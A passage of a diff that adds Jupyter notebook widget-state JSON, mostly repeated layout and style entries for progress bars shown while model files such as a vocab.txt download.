+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "65c79edaf8f844979f6d2cfdbded70e8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "65c7d970eca34f99a47528163a57b246": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6aedd062950c4596b734f7a98a9cce9c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6bfee089c2c6462daf9ccd9baae21cc3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a5e688c08c747eaaf5ca99b9812eec1",
+            "max": 1538966629,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_89e75ba649f948e0aa1d458b9800b480",
+            "value": 1538966629
+          }
+        },
+        "70dc32700a9a4f268177a83cc2bdb29c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "72e9c18021664b9f812916541fc51c7a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1d4dd1aae7c7452298706a60c84f901d",
+            "placeholder": "",
+            "style": "IPY_MODEL_e6998fe4f2aa4ef595e9b30b794c5549",
+            "value": "Downloading (…)solve/main/vocab.txt: 100%"
+          }
+        },
+        "743663756db94768a1a82d5bccac5538": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "76a37f30e9004067b8ba520191d64ac0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_af0a3bf66e8e433db1bea3b41a0c052a",
+            "max": 445,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9075203ea622474883993bb09cb2636c",
+            "value": 445
+          }
+        },
+        "7a2e3aab0a244cf099002a6064b5ce42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f58b27200af24c2eb76751b0bff84928",
+              "IPY_MODEL_484c18d0f13148efa47e68dca92cfb48",
+              "IPY_MODEL_60e84d9d72e94db9840aa03c7f15e3c3"
+            ],
+            "layout": "IPY_MODEL_65c7d970eca34f99a47528163a57b246"
+          }
+        },
+        "7dc9b79e3ad74651ae3f6449a8b968f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7fe5d5638c0c424e94cc8733fd79f5ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dfa636e1fb524cf2ae3d6693fd128084",
+              "IPY_MODEL_c4f1648bca844b0ba790a5990ae2170c",
+              "IPY_MODEL_592bbbcf2fd14ed882f9a0adb56a57a3"
+            ],
+            "layout": "IPY_MODEL_8f363594b80e487494d0855f9ddde030"
+          }
+        },
+        "8005f31a31ed48d8b1a3e912b3aed139": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "82f6ec4e9743477c909d6ef734c06808": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "872540ef74d6459a99e4647d2a643176": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4dd5e64fe44c495d8d8d912f0ac06b82",
+            "max": 711396,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3b88701571a342b0abea71a105fed88b",
+            "value": 711396
+          }
+        },
+        "877898b8398541e3b9909a3a372cad14": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "878c5cc4315443018704910dcf37f154": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "88243d6adfd04c9faa5732bafc1ae615": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4289a56219ec41acaafdb60d3b7d1360",
+            "placeholder": "",
+            "style": "IPY_MODEL_8005f31a31ed48d8b1a3e912b3aed139",
+            "value": " 592/592 [00:00<00:00, 35.5kB/s]"
+          }
+        },
+        "89e75ba649f948e0aa1d458b9800b480": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8a6fad1603b6410eba545e462adb3096": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_30944ee9722c4e4da3b23a635a2e561f",
+              "IPY_MODEL_b654f414cfe04f9a9777b076349199f6",
+              "IPY_MODEL_bcb584c47d2e430f8d0ff7db81619909"
+            ],
+            "layout": "IPY_MODEL_9d049ae4478447afb76756aa2eefab5a"
+          }
+        },
+        "8a7d1c368a9548d0aecb6564d7aa1bb7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8b64a23dfc724928a5d23c904dc1595f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0324f20083ee42268aac2e7dce294907",
+              "IPY_MODEL_228cbb4147cb4fcdb21866278e8f218c",
+              "IPY_MODEL_88243d6adfd04c9faa5732bafc1ae615"
+            ],
+            "layout": "IPY_MODEL_dad6452f3a87437fbf6b691f56614711"
+          }
+        },
+        "8c5762e71db644cfac50336e5de12ec6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8cc8a9d55c2546bcaabead9c8dc2ed09": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8f1974332d694edd968fe5bb9ecba070": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8f363594b80e487494d0855f9ddde030": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9075203ea622474883993bb09cb2636c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "92d4a3333635430a88cdc38ed8158f49": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "945160da858a439d90de50ffd671396a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "946e33fee00f4c2aac6406ffe83c419c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "96332b8765b3472c9f6a43626e8a5bb3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "96f6b9783cb24579a96e96edb4e9acd9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d049ae4478447afb76756aa2eefab5a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d9e48cd4d5f4a0c97d7f13d6e727c09": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9f16f63600454da5afdef84ef5afd59d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a4ae31365e3c4370bc2f7e7ce7fe27f9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
